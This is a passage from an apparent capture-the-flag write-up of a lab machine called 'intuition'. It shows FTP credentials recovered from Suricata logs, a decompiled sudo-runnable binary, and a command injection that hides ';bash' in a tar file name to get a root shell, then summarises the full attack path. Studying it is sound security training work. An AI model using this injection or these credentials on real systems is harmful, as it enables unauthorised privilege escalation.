eve.json.8.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
eve.json.8.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}
Shell as root
Right after getting the access as lopez I’ll check the sudo privileges and can see I’m able to run runner2
as anyone. This looks like the second version of the binary I’ve already found on the FTP server, even though running it requires a JSON
file instead of taking command line parameters.
sudo -l
[sudo] password for lopez:
Matching Defaults entries for lopez on intuition:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User lopez may run the following commands on intuition:
(ALL : ALL) /opt/runner2/runner2
sudo /opt/runner2/runner2
Usage: /opt/runner2/runner2 <json_file>
To further analyze the binary I move it to my host with scp and feed it into binaryninja. This produces some pseudo-C code, that’s quite easy to read in this case.
int32_t main(int32_t argc, char** argv, char** envp)
{
if (argc != 2)
{
printf("Usage: %s <json_file>\n", *(uint64_t*)argv);
return 1;
}
FILE* fp = fopen(argv[1], &data_210f);
if (fp == 0)
{
perror("Failed to open the JSON file");
return 1;
}
void* rax_8 = json_loadf(fp, 2, 0);
fclose(fp);
if (rax_8 == 0)
{
fwrite("Error parsing JSON data.\n", 1, 0x19, stderr);
return 1;
}
int32_t* rax_11 = json_object_get(rax_8, &data_2148, &data_2148); // run
if ((rax_11 == 0 || *(uint32_t*)rax_11 != 0))
fwrite("Run key missing or invalid.\n", 1, 0x1c, stderr);
else
{
int32_t* rax_15 = json_object_get(rax_11, "action", "action");
if ((rax_15 == 0 || *(uint32_t*)rax_15 != 2))
fwrite("Action key missing or invalid.\n", 1, 0x1f, stderr);
else
{
char* rax_19 = json_string_value(rax_15);
if (strcmp(rax_19, "list") != 0)
{
if (strcmp(rax_19, &data_2148) != 0) // run
{
if (strcmp(rax_19, "install") != 0)
fwrite("Invalid 'action' value.\n", 1, 0x18, stderr);
else
{
int32_t* rax_54 = json_object_get(rax_11, "role_file", "role_file");
int32_t* rax_56 = json_object_get(rax_8, "auth_code", "auth_code");
int32_t rax_61;
if ((rax_56 != 0 && *(uint32_t*)rax_56 == 2))
rax_61 = check_auth(json_string_value(rax_56));
if (((rax_56 == 0 || *(uint32_t*)rax_56 != 2) || rax_61 == 0))
{
fwrite("Authentication key missing or in…", 1, 0x3c, stderr);
json_decref(rax_8);
return 1;
}
if ((rax_54 == 0 || *(uint32_t*)rax_54 != 2))
fwrite("Role File missing or invalid for…", 1, 0x33, stderr);
else
installRole(json_string_value(rax_54));
}
}
else
{
int32_t* rax_26 = json_object_get(rax_11, &data_2158, &data_2158);
int32_t* rax_28 = json_object_get(rax_8, "auth_code", "auth_code");
int32_t rax_33;
if ((rax_28 != 0 && *(uint32_t*)rax_28 == 2))
rax_33 = check_auth(json_string_value(rax_28));
if (((rax_28 == 0 || *(uint32_t*)rax_28 != 2) || rax_33 == 0))
{
fwrite("Authentication key missing or in…", 1, 0x38, stderr);
json_decref(rax_8);
return 1;
}
if ((rax_26 == 0 || *(uint32_t*)rax_26 != 3))
fwrite("Invalid 'num' value for 'run' ac…", 1, 0x26, stderr);
else
{
int32_t rax_38 = json_integer_value(rax_26);
DIR* dirp = opendir("/opt/playbooks/");
if (dirp == 0)
{
perror("Failed to open the playbook dire…");
return 1;
}
int32_t var_80_1 = 1;
char (* var_78_1)[0x100] = nullptr;
while (true)
{
struct dirent64* rax_48 = readdir(dirp);
if (rax_48 == 0)
break;
if ((rax_48->d_type == 8 && strstr(&rax_48->d_name, ".yml") != 0))
{
if (var_80_1 == rax_38)
{
var_78_1 = &rax_48->d_name;
break;
}
var_80_1 += 1;
}
}
closedir(dirp);
if (var_78_1 == 0)
fwrite("Invalid playbook number.\n", 1, 0x19, stderr);
else
runPlaybook(var_78_1);
}
}
}
else
listPlaybooks();
}
}
json_decref(rax_8);
return 0;
}
First the JSON is loaded and then checked if it contains a key called run
. Within run
, another dictionary with an action
key is required. Possible values seem to be install, list and run. The list command does not need authentication, but the other two require a key auth_code
. Additionally the install command takes a role_file
for the ansible-galaxy role to be installed and run a num
value for the playbook to be executed.
Looking at the code behind installRole
I can see that, given a valid TAR
file is provided, the input is passed to system
. This might be abused with a command injection.
int64_t installRole(int64_t arg1)
{
void* fsbase;
int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
if (isTarArchive(arg1) != 0)
{
void var_418;
snprintf(&var_418, 0x400, "%s install %s", "/usr/bin/ansible-galaxy", arg1);
system(&var_418);
}
else
fwrite("Invalid tar archive.\n", 1, 0x15, stderr);
if (rax == *(uint64_t*)((char*)fsbase + 0x28))
return (rax - *(uint64_t*)((char*)fsbase + 0x28));
__stack_chk_fail();
/* no return */
}
Within the check_auth
function I find the same hash as in the runner1
code. This means I already got a valid auth code and can proceed with building JSON
file to be passed to the binary and a TAR
archive with a simple command injection.
int64_t check_auth(char* arg1)
{
void* fsbase;
int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
void var_48;
MD5(arg1, strlen(arg1), &var_48);
void var_38;
for (int32_t i = 0; i <= 0xf; i += 1)
sprintf((&var_38 + ((int64_t)(i * 2))), "%02x", ((uint64_t)*(uint8_t*)(&var_48 + ((int64_t)i))));
int64_t result;
if (strcmp(&var_38, "0feda17076d793c2ef2870d7427ad4ed") != 0)
result = 0;
else
result = 1;
*(uint64_t*)((char*)fsbase + 0x28);
if (rax == *(uint64_t*)((char*)fsbase + 0x28))
return result;
__stack_chk_fail();
/* no return */
}
I create a dummy file to be added to the TAR
archive. While creating the archive I specify the output name of shell.tar;bash
and escaping the ;
. Since this string is passed to the system
call without using quotes, the semicolon will terminate the previous command and spawn a new bash.
cd /dev/shm
# Create dummy file
echo "ryuki" > helloworld.txt
# Add file to a TAR archive and adding ;bash to the file name
tar cvf shell.tar\;bash helloworld.txt
helloworld.txt
From the decompiled binary I know how the JSON
input has to look like and I just need to fill in the information, the previous recovered auth code and the path to my TAR
archive.
{
"auth_code": "UHI75GHINKOP",
"run": {
"action": "install",
"role_file": "/dev/shm/shell.tar;bash"
}
}
After running the runner2
binary as root and providing the JSON
file, the installation of the galaxy role fails (as expected) and another shell as root spawns, letting me collect the final flag.
sudo /opt/runner2/runner2 shell.json
[sudo] password for lopez:
Starting galaxy role install process
id
[WARNING]: - /dev/shm/shell.tar was NOT installed successfully: Unknown error when attempting to call Galaxy at 'https://galaxy.ansible.com/api/': <urlopen error [Errno -3] Temporary failure in name resolution>
ERROR! - you can use --ignore-errors to skip failed roles and finish processing the list.
root@intuition:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
Attack Path
flowchart TD subgraph "Initial Access" A(Bug Report) -->|XSS| B(Cookie for webdev) B -->|XSS + Priority Change| C(Cookie for admin) C -->|CVE-2023-24329| D(Local File Read) D -->|Source Code of Web Application| E(FTP credentials) E -->|RSA Key| F(Shell as dev_acc) end subgraph "Privilege Escalation" F -->|Crack Hashes in DB| G(FTP credentials for adam) G -->|Source Code for runner1| H(Parts of auth_code and MD5 hash) H -->|Hashcat Mask Attack| I(auth_code) F -->|Credentials in Suricata Logs| J(Shell as lopez) J -->|Access to runner2 binary| K(Decompiled Source) I & K -->|Command Injection| L(Shell as root) end